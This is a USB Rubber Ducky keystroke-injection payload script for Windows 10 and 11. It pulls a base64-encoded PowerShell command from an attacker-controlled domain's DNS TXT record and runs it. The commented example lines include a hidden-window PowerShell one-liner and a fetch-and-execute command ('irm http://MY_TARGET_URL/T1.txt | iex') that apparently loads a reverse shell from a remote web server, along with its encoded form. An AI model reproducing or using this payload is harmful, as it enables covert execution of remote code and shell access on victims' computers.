REM Title: DNS-TXT-CommandInection
REM Author: Nate
REM Description: A usb rubber ducky payload that leverages DNS TXT records to perform command injection.
REM Windows Powershell is the CLI used by the payload. Replace the DNS TXT record for your domain with
REM the base64 encoded payload you have. See README.md for more details on converting your payload to base64
REM and an example of creating your DNS TXT record in AWS Route53 service.
REM Target: Windows 10, 11
REM Props: Hak5, Darren Kitchen, Korben
REM Version: 1.0
REM Category: Execution
REM CONFIGURATION
REM REQUIRED A domain with the ability to manipulate the DNS TXT records.
REM REQUIRED Web Server hosting the payload. In this example, python3 http.server was used to host a
REM reverseshell.
REM REQUIRED - Provide URL used for Example
DEFINE #MY_TARGET_URL example.com
REM Example: powershell /w 1 $a=(resolve-dnsname MY_TARGET_URL TXT).strings;powershell -e $a
REM Example of Decoded payload: "irm http://MY_TARGET_URL/T1.txt | iex"
REM NOTES: No base64 can be used as an alternative by replacing "$a=",";powershell -e $a" with just "|iex"
REM for the STRING payload below. Examples of the decoded command and encoded command are shown below to put
REM into DNS TXT record.
REM Decoded: "irm http://MY_TARGET_URL/T1.txt | iex"
REM Encoded: "aQByAG0AIABoAHQAdABwADoALwAvAGUAeABhAG0AcABsAGUALgBjAG8AbQAvAFQAMQAuAHQAeAB0ACAAfAAgAGkAZQB4AA=="
